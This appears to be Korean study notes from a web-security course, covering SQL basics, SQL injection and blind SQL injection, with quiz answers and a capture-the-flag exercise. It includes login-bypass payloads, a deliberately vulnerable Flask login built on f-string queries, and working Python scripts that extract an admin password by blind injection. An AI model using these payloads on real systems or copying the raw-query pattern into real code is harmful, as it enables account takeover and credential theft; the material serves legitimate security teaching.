데이터베이스 관리 시스템
웹 서비스는 데이터베이스에 정보를 저장하고, 이를 관리하기 위해 DataBase Management System (DBMS)을 사용합니다. DBMS는 데이터베이스에 새로운 정보를 기록하거나, 기록된 내용을 수정, 삭제하는 역할을 합니다.
Relational DBMS
Relational DataBase Management System (RDBMS, 관계형 RDBMS)는 1970년에 Codds가 12가지 규을 정의하여 생성한 데이터베이스 모델입니다. RDBMS는 행 (Row)과 열 (Column)의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리하고, 테이블 형식의 데이터를 조작할 수 있는 관계 연산자를 제공합니다. DBMS에서 관계 연산자는 Structured Query Language (SQL) 라는 쿼리 언어를 사용하고, 쿼리를 통해 테이블 형식의 데이터를 조작합니다.
예시를 들어보면, 학교(데이터베이스)에 여러 정보를 담은 테이블이 있습니다. 예를 들어 학생의 정보는 테이블 형태로 관리됩니다. 그리고 각 테이블의 정보를 사용할 때에는 학번(학생들의 고유 키)을 참조해 사용합니다.
SQL
Structured Query Language (SQL)는 RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어입니다.
DDL
웹 어플리케이션은 SQL을 사용해서 DBMS와 상호작용을 하며 데이터를 관리합니다. RDBMS에서 사용하는 기본적인 구조는 데이터베이스 → 테이블 → 데이터 구조 입니다
데이터베이스 생성 | CREATE DATABASE Dreamhack; |
테이블 생성 | USE Dreamhack; # Board 이름의 테이블 생성 CREATE TABLE Board( idx INT AUTO_INCREMENT, boardTitle VARCHAR(100) NOT NULL, boardContent VARCHAR(2000) NOT NULL, PRIMARY KEY(idx) ); |
DML
테이블 데이터 생성:
INSERT INTO
Board(boardTitle, boardContent, createdDate)
Values(
'Hello',
'World !',
Now()
);
테이블 데이터 조회:
SELECT
boardTitle, boardContent
FROM
Board
Where
idx=1;
테이블 데이터 변경:
UPDATE Board SET boardContent='DreamHack!'
Where idx=1;
SQL Injection
SQL Injection
SQL은 DBMS에 데이터를 질의하는 언어입니다. 예를 들면, 로그인 시에 ID/PW를 포함하거나, 게시글의 제목과 내용을 SQL 구문에 포함합니다. 아래 쿼리는 로그인 할 때 애플리케이션이 DBMS에 질의하는 예시 쿼리입니다.
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 합니다. SQL Injection이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있습니다. 아래 쿼리는 SQL Injection으로 조작한 쿼리문의 예시입니다.
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'
쿼리를 살펴보면, user_pw 조건문이 사라진 것을 확인할 수 있습니다.
Blind SQL Injection
해당 공격 기법은 스무고개 게임과 유사한 방식으로 데이터를 알아낼 수 있습니다. 스무고개는 질문자와 답변자가 있고, 질문자가 답변을 하면 답변자가 예/아니오로 대답을 해 질문자가 답을 유추하는 게임입니다. 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법을 Blind SQL Injection이라고 합니다.
아래는 Blind SQL Injection 공격 시에 사용할 수 있는 쿼리입니다.
# 첫 번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='a'-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='b'-- ' and upw=''; # True
# 두 번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='d'-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='e'-- ' and upw=''; # True
substr
substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'
Blind SQL Injection 공격 스크립트
아래 코드는 requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 예제 코드입니다. requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Parameter와 함께 요청을 전송할 수 있습니다.
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
아래 코드는 HTTP의 POST 메소드 통신을 하는 예제 코드입니다. requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로 URL과 Header, Body와 함께 요청을 전송할 수 있습니다.
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
Blind SQL Injection 공격 스크립트 작성
HTTP GET request로 파라미터를 전달받는 홈페이지에 Blind SQL Injection을 시도한다고 가정합시다. 공격하기에 앞서, 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위를 지정해야 합니다.
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
# ascii printables
tc = string.printable
# 사용할 SQL Injection 쿼리
query = '''admin' and substr(upw,{idx},1)='{val}'-- '''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc:
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx+1, val=ch).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += ch
break
print(f"Password is {password}")
퀴즈
Q1. 다음 중 일반적인 상황에서 SQL Injection으로 할 수 없는 행위를 고르시오. (MySQL 기준)
A. 내부망 침투하기
Q2. 다음 SQL Query의 (A) 부분에 입력 값을 넣을 수 있다고 할 때, id가 admin 계정으로 로그인이 가능한 SQL Injection 페이로드를 모두 고르시오.
A. ' or 1=1-- 1와 '+(select user_pw from accounts where user_id='admin')+'
Exercise: SQL Injection
웹 서비스 분석
데이터베이스 스키마
DATABASE = "database.db" # 데이터베이스 파일명을 database.db로 설정
if os.path.exists(DATABASE) == False: # 데이터베이스 파일이 존재하지 않는 경우,
db = sqlite3.connect(DATABASE) # 데이터베이스 파일 생성 및 연결
db.execute('create table users(userid char(100), userpassword char(100));') # users 테이블 생성
# users 테이블에 관리자와 guest 계정 생성
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit() # 쿼리 실행 확정
db.close() # DB 연결 종료
데이터베이스 구조
엔드포인트: /login
# Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리함
@app.route('/login', methods=['GET', 'POST'])
def login():
# 이용자가 GET 메소드의 요청을 전달한 경우,
if request.method == 'GET':
return render_template('login.html') # 이용자에게 ID/PW를 요청받는 화면을 출력
# POST 요청을 전달한 경우
else:
userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
res = query_db(
f'select * from users where userid="{userid}" and userpassword="{userpassword}"'
)
if res: # 쿼리 결과가 존재하는 경우
userid = res[0] # 로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
if userid == 'admin': # 이 때, 로그인 계정이 관리자 계정인 경우
return f'hello {userid} flag is {FLAG}' # flag를 출력
# 관리자 계정이 아닌 경우, 웰컴 메시지만 출력
return f'<script>alert("hello {userid}");history.go(-1);</script>'
# 일치하는 회원 정보가 없는 경우 로그인 실패 메시지 출력
return '<script>alert("wrong");history.go(-1);</script>'
취약점 분석
아래 코드를 살펴보면, userid와 userpassword를 이용자에게 입력받고, 동적으로 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의합니다. 이렇게 동적으로 생성한 쿼리를 RawQuery라고 합니다. RawQuery를 생성할 때, 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있습니다. 이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 userid 또는 userpassword에 삽입해 SQL Injection 공격을 수행할 수 있습니다.
def login(): # login 함수 선언
...
userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
...
def query_db(query, one=True): # query_db 함수 선언
cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의
rv = cur.fetchall() # 쿼리문 내용을 받아오기
cur.close() # 데이터베이스 연결 종료
return (rv[0] if rv else None) if one else rv # 쿼리문 질의 내용에 대한 결과를 반환
익스플로잇
아래 쿼리는 로그인을 위해 실행하는 쿼리문으로, 이를 참고해 admin이라는 결과가 반환되도록 쿼리문을 조작해야 합니다.
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
아래 코드는 admin 계정으로 로그인할 수 있는 SQL Injection 공격 코드입니다. SQL은 수많은 조건절을 제공하기 때문에 이를 통해 다양한 방법으로 공격을 시도할 수 있습니다.
/*
ID: admin"--, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
Exercise: Blind SQL Injection
익스플로잇
비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94 (0x20 ~ 0x7E)개입니다. 쿼리를 잘 이용하면 각 자리를 따로 조사할 수 있으므로, 실제로 전송해야할 최대 쿼리의 갯수는 로 줄어듭니다.
비밀번호 길이 파악
이진 탐색 알고리즘을 활용하면 시간을 단축할 수 있습니다.
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> bool:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def solve(self):
pw_len = solver._find_password_length("admin")
print(f"Length of admin password is: {pw_len}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
실행결과는 다음과 같다.
$ ./ex.py 23742
Length of the admin password is: [redacted]
비밀 번호를 한 글자씩 알아내는 코드는 다음과 같다
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {"userid": userid, "userpassword": userpassword}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f'" or {query}-- ', "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low + high) // 2
if low + 1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ""
for idx in range(1, pw_len + 1):
query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
플래그를 획득한다.